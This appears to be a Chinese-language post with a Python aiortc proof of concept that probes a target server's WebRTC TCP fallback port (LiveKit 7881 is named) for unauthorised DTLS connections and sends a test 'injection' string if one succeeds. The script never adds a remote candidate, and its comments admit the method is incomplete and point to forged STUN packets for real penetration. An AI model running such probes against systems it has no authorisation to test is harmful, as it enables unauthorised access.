WebRTC TCP fallback未授权
#pip install "aiortc==1.9.0" "cryptography==47.0.0" "pyOpenSSL==26.2.0" "aioice==0.9.0" "av==12.3.0" "pylibsrtp==0.10.0"
import asyncio import logging from aiortc import RTCPeerConnection, RTCSessionDescription from aiortc.rtcicetransport import RTCIceCandidate # 配置日志 logging.basicConfig(level=logging.INFO) logger = logging.getLogger("WebRTC_TCP_PoC") # ================= 配置区域 ================= TARGET_IP = "xx.xx.xx.xx" # 替换为目标服务器 IP TARGET_PORT = 7881 # 替换为目标 TCP 媒体端口 (LiveKit 默认为 7881) # =========================================== async def test_unauthorized_tcp_fallback(): """ 尝试绕过信令服务器,直接通过 TCP 端口建立 DTLS/SCTP 连接 """ logger.info(f"正在尝试连接目标: {TARGET_IP}:{TARGET_PORT}") # 创建 PeerConnection # iceServers 留空或指向目标,强制使用我们手动添加的 Candidate pc = RTCPeerConnection() connection_established = False @pc.on("connectionstatechange") async def on_connection_state_change(): nonlocal connection_established logger.info(f"连接状态变更: {pc.connectionState}") if pc.connectionState == "connected": connection_established = True logger.warning("⚠️ [高危] 成功建立未授权连接!DTLS 握手完成。") await send_injection_payload(pc) elif pc.connectionState in ["failed", "closed"]: logger.info("连接失败或关闭。") if not connection_established: logger.info("✅ [安全] 服务端正确拒绝了无上下文的连接请求。") @pc.on("iceconnectionstatechange") async def on_ice_state_change(): logger.info(f"ICE 状态变更: {pc.iceConnectionState}") try: # 1. 创建本地 Offer (必须包含至少一个 Track 或 DataChannel,否则 aiortc 会报错) # 这里我们创建一个哑数据通道以满足 WebRTC 协议要求 channel = pc.createDataChannel("dummy") # 2. 生成本地描述 await pc.setLocalDescription(await pc.createOffer()) # 3. 构造指向目标 TCP 端口的 ICE Candidate # 注意:WebRTC over TCP 通常需要 'tcp' 协议类型 # candidate 字符串格式需符合 RFC 5245,但 aiortc 允许对象化添加 # 这里我们手动构造一个 Host Candidate 指向目标 TCP 端口 # 由于 aiortc 的 addIceCandidate 通常用于接收远程 candidate, # 在主动发起连接且无信令交换的情况下,我们需要欺骗底层 ICE 代理 # 或者更简单地:直接尝试让 ICE 代理去连接这个地址 # 方法:手动添加一个远程 Candidate (假装是对方发来的) # 实际上,在没有信令交换的情况下,我们不知道对方的 ufrag/pwd。 # 但是,如果服务端存在漏洞,它可能接受任何初始连接并尝试握手。 # 对于 LiveKit 等特定服务,TCP Fallback 往往依赖于特定的 HTTP Upgrade 或 WebSocket 路径, # 但如果是纯 DTLS over TCP,我们可以尝试直接发起。 # 由于 aiortc 主要设计用于标准 ICE 流程,直接指定单一 TCP 目标较为复杂。 # 以下是一种简化的尝试:我们不提供任何远程 ICE candidate, # 而是依赖 mDNS 或本地网络发现?不,我们要指定目标。 # 修正策略: # 大多数 WebRTC 服务器在 TCP 模式下监听的是 HTTPS/WSS 或 DTLS。 # 如果是 LiveKit 7881,它通常处理 HTTP/2 或 gRPC,但也可能处理 DTLS。 # 如果目标是纯 DTLS over TCP,我们需要确保 ICE 层知道去哪里连接。 # 由于无法通过标准 ICE 流程(缺少 remote ufrag/pwd), # 我们这里演示的是:如果服务端错误地配置为接受任意 DTLS 握手。 # 为了简化 PoC,我们假设可以通过某种方式触发连接。 # 在实际渗透中,可能需要结合 Scapy 发送伪造的 STUN 包来触发 ICE 绑定请求, # 或者直接使用 OpenSSL 进行 DTLS 握手测试(见下方备选方案)。 logger.info("正在等待连接结果... (超时 10秒)") await asyncio.sleep(10) except Exception as e: logger.error(f"发生错误: {e}") finally: await pc.close() async def send_injection_payload(pc: RTCPeerConnection): """ 如果连接建立,尝试发送恶意数据 """ for channel in pc._data_channels.values(): if channel.readyState == "open": logger.warning("正在注入测试数据...") channel.send("POC: Unauthorized Access Detected") break if __name__ == "__main__": # 运行异步测试 asyncio.run(test_unauthorized_tcp_fallback())
浙公网安备 33010602011771号